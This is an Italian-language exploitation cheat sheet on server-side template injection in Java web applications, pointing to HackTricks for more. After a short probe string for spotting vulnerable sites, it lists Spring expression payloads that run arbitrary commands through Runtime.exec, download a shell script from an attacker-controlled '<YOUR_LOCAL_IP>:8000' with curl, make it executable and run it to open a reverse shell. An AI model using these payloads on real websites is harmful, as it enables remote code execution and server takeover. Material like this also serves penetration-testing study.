Tutorials
Exploit
QUERY DA FARE PER CAPIRE SE IL SITO E' VULNERABILE
#exploitation#web
QUERY DA FARE PER CAPIRE SE IL SITO E' VULNERABILE
"{8 {88}bash${88}
per altre query: https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#java
bash{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('COMANDO DA ESEGUIRE').getInputStream())}
- eseguire comando in un sito vulnerabile a SSTI
bash{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('curl
<YOUR_LOCAL_IP>:8000/shell.sh -o /tmp/shell.sh').getInputStream())}
- scaricare shell da eseguire per creare reverse shell sulla nostra macchina
bash{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('chmod +x /tmp/shell.sh').getInputStream())}
- cambiare privilegi al file shell.sh
bash*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('/bin/bash /tmp/shell.sh').getInputStream())}
- eseguire shell.sh